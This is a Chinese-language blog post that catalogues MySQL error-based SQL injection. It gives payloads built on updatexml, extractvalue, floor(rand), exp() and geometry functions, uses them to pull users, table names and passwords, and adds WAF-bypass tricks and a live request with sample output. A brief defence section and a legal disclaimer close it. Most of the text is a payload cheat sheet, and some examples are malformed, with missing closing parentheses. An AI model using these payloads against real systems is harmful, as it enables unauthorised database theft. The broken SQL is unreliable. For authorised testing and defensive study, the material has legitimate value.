报错注入原理与全方法总结

发布于:2025-08-18 ⋅ 阅读:(20) ⋅ 点赞:(0)

报错注入原理与全方法总结

核心原理:利用数据库函数执行时的强制报错机制,通过拼接恶意构造的语句触发错误,在报错信息中返回敏感数据。


一、主流报错注入方法详解

1️⃣ updatexml() 函数
  • 语法updatexml(XML_document, XPath_string, new_value)
  • 适用版本:MySQL 5.1.5+
  • Payload构造
    updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)
    
  • 关键技巧
    • 通过 0x7e~符号)破坏XPath语法格式触发报错
    • 嵌套子查询 (SELECT ...) 获取数据库信息
  • 实战案例
    # 获取当前数据库名
    updatexml(1, concat(0x7e,(SELECT database()),0x7e),1)
    
    # 提取表名(需绕过行数限制)
    updatexml(1, concat(0x7e,
      (SELECT table_name FROM information_schema.tables 
       WHERE table_schema=database() LIMIT 1,1)
    ,0x7e),1)
    
2️⃣ extractvalue() 函数
  • 语法extractvalue(XML_document, XPath_string)
  • 适用版本:MySQL 5.1.5+
  • Payload构造
    AND extractvalue(1, concat(0x7e,(SELECT user()),0x7e))
    
  • 特点:报错原理与updatexml()相同,但参数更少

二、扩展报错注入方法(补充)

3️⃣ floor(rand())*2 报错
  • 原理group byrand()函数产生的重复值冲突
  • 经典Payload
    SELECT count(*) FROM information_schema.tables 
    GROUP BY concat(
      (SELECT user()), 
      floor(rand(0)*2
    )
    
  • 优势:可一次性返回多行数据
4️⃣ exp() 函数溢出报错
  • 原理:超大指数导致数值溢出
  • Payload
    SELECT exp(~(SELECT * FROM(SELECT user())x))
    
5️⃣ 几何函数报错(MySQL 5.7+)
  • 利用 ST_LatFromGeoHash(), GTID_SUBSET()
  • 示例
    SELECT ST_LatFromGeoHash((SELECT user()));
    

三、绕过技巧与高级用法

  1. 解决字符长度限制(32字符):

    • 使用 substr() 分片获取数据:
      updatexml(1, concat(0x7e,
         substr((SELECT password FROM users LIMIT 1),1,20)
      ,0x7e),1)
      
  2. 无回显场景联合使用

    AND if(1=1, 
         updatexml(1,concat(0x7e,version()),1), 
         sleep(3)
    
  3. WAF绕过技巧

    • 双写关键字:selselectect
    • 内联注释:/*!updatexml()*/
    • 空白符干扰:%0a%0d(换行符)

四、防御方案

  1. 代码层
    • 使用参数化查询(Prepared Statements)
    • 过滤特殊字符:~ # xp_ /*
  2. 数据库层
    • 限制错误信息输出(关闭详细报错)
    • 最小权限原则:禁用FILE/EXECUTE权限
  3. 设备层
    • WAF规则:拦截包含 updatexml|extractvalue|rand() 的请求

五、实战检测示例

GET /product.php?id=1' AND updatexml(1,concat(0x7e,@@version),1)--+

返回结果

XPATH syntax error: '~10.6.12-MariaDB'

法律声明:报错注入技术仅限授权测试使用!本文方法已做脱敏处理,严禁未授权渗透。


网站公告

今日签到

点亮在社区的每一天
去签到